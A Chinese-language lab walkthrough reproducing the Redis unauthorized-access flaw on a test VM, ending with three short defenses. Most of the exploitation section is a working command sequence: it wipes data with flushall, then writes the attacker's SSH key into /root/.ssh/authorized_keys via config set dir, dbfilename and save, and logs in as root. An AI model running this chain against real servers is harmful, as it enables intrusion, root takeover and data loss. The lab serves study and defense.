Redis未授权访问漏洞
Redis未授权访问漏洞复现一、redis简介Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatia
Redis未授权访问漏洞复现
一、redis简介
Redis 是一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。 它支持多种类型的数据结构,如 字符串(strings), 散列(hashes), 列表(lists), 集合(sets), 有序集合(sorted sets) 与范围查询, bitmaps, hyperloglogs 和 地理空间(geospatial) 索引半径查询。 Redis 内置了 复制(replication),LUA脚本(Lua scripting), LRU驱动事件(LRU eviction),事务(transactions) 和不同级别的 磁盘持久化(persistence), 并通过 Redis哨兵(Sentinel)和自动 分区(Cluster)提供高可用性(high availability)。
二、redis未授权访问漏洞简介和危害
Redis因配置不当就会导致未授权访问。在默认情况下,Redis会绑定在 0.0.0.0:6379。如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样 Redis 服务直接暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问到目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,还可以利用 Redis 自身提供的config 命令进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
该漏洞的产生条件有以下两点:
1.redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
2.没有设置密码认证(一般为空),可以免密码(认证)远程登录redis服务。
漏洞危害:
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;
(2) 攻击者可通过执行lua代码,或通过数据备份功能往磁盘写入后门文件;
(3) 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器;
三、靶机环境部署
靶机 CentOS Linux release 7.5.1804 (Core) 192.168.31.194
攻击机 Debian 5.9.1 192.168.31.88
A、靶机操作
创建目录用于安装redis文件配置的目录
mkdir /usr/local/redis
进入redis路径下载或上传redis包
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
解压安装
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make
make报错先查看是否安装了gcc 如果gcc存在仍然报错就执行make MALLOC=libc
修改配置文件
vim redis.conf
先注释掉bind 127.0.0.1 ::1
开启bind 0.0.0.0
将protected-mode设置为no
复制redis-cli和redis-server这两个文件放到etc文件下
cd src/
cp redis-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/
启动redis
redis-server /etc/redis.conf
会出现一个正方体图形表示启动成功
另开一个窗口查看运行状态
netstat -nulpt|grep 6379
ps -ef | grep redis
B、攻击机操作
同靶机一样先进行安装
mkdir /usr/local/redis
cd /usr/local/redis/
wget http://download.redis.io/releases/redis-3.2.11.tar.gz
tar zxf redis-3.2.11.tar.gz
cd redis-3.2.11/
make
不需要修改配置文件
cd src/
cp redis-cli /usr/bin
cp redis-server /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf
四、漏洞复现过程
在攻击机上扫描靶机端口开启情况
再开启一个窗口
nmap -p 6379 -script redis-info 192.168.31.194
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-09 17:15 CST
Nmap scan report for 192.168.31.194
Host is up (0.00041s latency).
PORT STATE SERVICE
6379/tcp open redis
|_redis-info: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:0C:29:FD:3F:3D (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds
会显示6379端口处于开放状态
cd /usr/local/redis/redis-3.2.11/src
./redis-cli -h 192.168.31.194 -p 6379
192.168.31.194:6379>
到目前就可以进行一些操作了
五、漏洞利用
可以查看redis版本信息 存放路径
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ./redis-cli -h 192.168.31.194 -p 6379
10.238.104.96:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis/redis-3.2.11"
192.168.31.194:6379>
获取shell,拿到root权限
生成ssh-key文件
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:soY2t/oTGWshnbMFgEuVQRAsWfK0y7PWQyrueiXelq0 root@hxg
The key's randomart image is:
+---[RSA 3072]----+
|.+=*=+ |
|o++.. . |
| oo. . o |
| .... * . |
| + ...OS |
| .*..*o |
|..++*++. |
|.oo.+=o. |
|++ .E+o. |
+----[SHA256]-----+
把密钥文件写入key.txt
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
利用redis漏洞传入密钥
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# redis-cli -h 192.168.31.194 flushall
OK
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# cat key.txt | redis-cli -h 192.168.31.194 -x set crackit
OK
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# redis-cli -h 192.168.31.194
192.168.31.194:6379> config set dir /root/.ssh/
OK
192.168.31.194:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.31.194:6379> config set dbfilename "authorized_keys"
OK
192.168.31.194:6379> save
OK
192.168.31.194:6379>
拿到了系统root权限
┌──(root💀hxg)-[/usr/local/redis/redis-3.2.11/src]
└─# ssh 192.168.31.194
Last login: Sat Oct 9 22:23:55 2021 from 192.168.31.88
[root@MiWiFi-R4CM-srv ~]#
六、防御方法
1、禁止外部访问Redis服务端口;
2、禁止使用root权限启动redis服务;
3、配置安全组,限制可连接Redis服务器的IP;
更多推荐
所有评论(0)